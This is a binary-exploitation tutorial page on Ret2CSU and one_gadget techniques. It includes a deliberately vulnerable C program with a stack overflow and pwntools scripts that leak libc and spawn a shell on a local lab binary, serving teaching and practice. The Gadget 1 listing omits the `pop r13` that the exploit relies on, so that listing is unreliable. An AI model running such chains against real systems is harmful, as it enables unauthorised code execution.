> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/11.-ret2csu.md).

# 0x0F — Return to CSU (Ret2CSU) and One Gadget

## Part 1: Return to CSU (Ret2CSU)

### Overview

In 64-bit Linux binaries compiled with GCC, there is almost always a function called `__libc_csu_init`. This function contains two **universal gadgets** that let you control the registers `rbx`, `rbp`, `r12`, `r13`, `r14`, `r15` — and then call a function via `r12+rbx*8`.

Ret2CSU is useful when you **cannot find** individual `pop rdi`, `pop rsi`, or `pop rdx` gadgets (common in stripped or small binaries).

***

### The `__libc_csu_init` Gadgets

Typical disassembly:

```asm
; Gadget 1 — at some offset in __libc_csu_init
0x4011ca: pop rbx
0x4011cb: pop rbp
0x4011cc: pop r12
0x4011ce: pop r14
0x4011d0: pop r15
0x4011d2: ret

; Gadget 2 — earlier in the same function
0x4011b0: mov rdx, r14      ; 3rd argument
0x4011b3: mov rsi, r13      ; 2nd argument
0x4011b6: mov edi, r12d     ; 1st argument (note: 32-bit move)
0x4011b9: call qword [r15 + rbx*8]   ; call a function
0x4011bc: add rbx, 1
0x4011bf: cmp rbx, rbp
0x4011c2: jne 0x4011b0
0x4011c4: pop rbx ...       ; loops back to Gadget 1
```

The exact addresses vary — always check with `objdump`.

***

### How to Use

**Step 1** — Use Gadget 1 to load registers:

```
pop rbx = 0         (so call offset is 0: [r15 + 0*8] = [r15])
pop rbp = 1         (so loop check rbx==rbp passes after one call)
pop r12 = arg1      (→ edi, 32-bit, careful with values > 0xffffffff)
pop r13 = arg2      (→ rsi)
pop r14 = arg3      (→ rdx)
pop r15 = &fn_ptr   (pointer to the function you want to call)
ret
```

**Step 2** — Gadget 2 sets up the call and calls it.

**Step 3** — After the call, add `0x38` bytes of padding to skip the rest of the CSU loop before your next gadget.

***

### Vulnerable Program (`vuln.c`)

```c
#include <unistd.h>
#include <string.h>

void vuln() {
    char buf[64];
    read(0, buf, 256);
}

int main() {
    vuln();
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

***

### Finding CSU Gadgets

```bash
objdump -d ./vuln | grep -A 30 "__libc_csu_init"
```

***

### Exploit: Call `write(1, got_puts, 8)` to leak libc

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

offset = 72

# CSU gadgets (adjust per binary)
csu_gadget1 = 0x4011ca   # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_gadget2 = 0x4011b0   # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]

got_write  = elf.got['write']
got_puts   = elf.got['puts']
plt_write  = elf.plt['write']

# Craft frame to call write(1, got_puts, 8) using CSU
def csu_call(func_ptr_addr, arg1, arg2, arg3, ret_addr):
    payload  = p64(csu_gadget1)
    payload += p64(0)             # rbx = 0
    payload += p64(1)             # rbp = 1
    payload += p64(arg1)          # r12 → edi (arg1)
    payload += p64(arg2)          # r13 → rsi (arg2)
    payload += p64(arg3)          # r14 → rdx (arg3)
    payload += p64(func_ptr_addr) # r15 = &func_ptr
    payload += p64(csu_gadget2)   # trigger gadget 2: call [r15+0]
    payload += p64(0) * 7         # 0x38 padding (skip CSU cleanup)
    payload += p64(ret_addr)
    return payload

# Stage 1: Leak puts address
payload  = b'A' * offset
payload += csu_call(got_write, 1, got_puts, 8, elf.sym['main'])
p.send(payload)

leak = u64(p.recv(8))
libc.address = leak - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")

# Stage 2: Call system("/bin/sh")
# ... (standard ret2libc from here)
```

***

## Part 2: One Gadget

### Overview

A **one\_gadget** (also called a magic gadget) is a single address in libc that, when jumped to, **directly executes `/bin/sh`** without needing to set up arguments manually.

These exist because libc internally calls `execve("/bin/sh", ...)` in certain code paths, and sometimes the register state at those points already satisfies all constraints.

***

### Finding One Gadgets

Install the tool:

```bash
gem install one_gadget
```

Run:

```bash
one_gadget /lib/x86_64-linux-gnu/libc.so.6
```

Example output:

```
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

***

### Using a One Gadget in an Exploit

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')

# --- Stage 1: leak libc ---
# ... (standard GOT leak)
libc.address = leaked_addr - libc.sym['puts']

# --- Stage 2: jump to one_gadget ---
one_gadget_offset = 0x4f302   # from one_gadget tool
one_gadget_addr   = libc.address + one_gadget_offset

payload  = b'A' * offset
payload += p64(one_gadget_addr)

p.sendafter(b'Input: ', payload)
p.interactive()
```

***

### When Constraints Aren't Met

If the first gadget doesn't work, try others from the list. You can also manipulate the stack to satisfy constraints:

```python
# If constraint is [rsp+0x40] == NULL, add padding to ensure that memory is zero
# Or use a 'ret' sled to adjust rsp
```

***

### One Gadget in GOT Overwrite

If you have an arbitrary write (e.g., format string), overwrite a GOT entry with the one\_gadget:

```python
got_printf = elf.got['printf']
one_gadget = libc.address + 0x4f302

# Write one_gadget into got['printf']
# Next call to printf() → shell
```

***

## Summary Table

| Technique  | When to Use                                      | Requirements                          |
| ---------- | ------------------------------------------------ | ------------------------------------- |
| Ret2CSU    | No `pop rdi/rsi/rdx` gadgets available           | `__libc_csu_init` in binary           |
| One Gadget | Minimal ROP needed, constraints can be satisfied | libc leak, correct gadget constraints |

***

## Key Takeaways

* **Ret2CSU**: Universal gadget hiding in almost every GCC-compiled binary; sets `rdx`, `rsi`, `rdi` via r14/r13/r12
* **One Gadget**: A magic address in libc that gives you a shell in one jump — extremely powerful when constraints are met
* Always try multiple one\_gadget offsets if the first fails
* Combine both: use CSU to satisfy one\_gadget constraints if needed
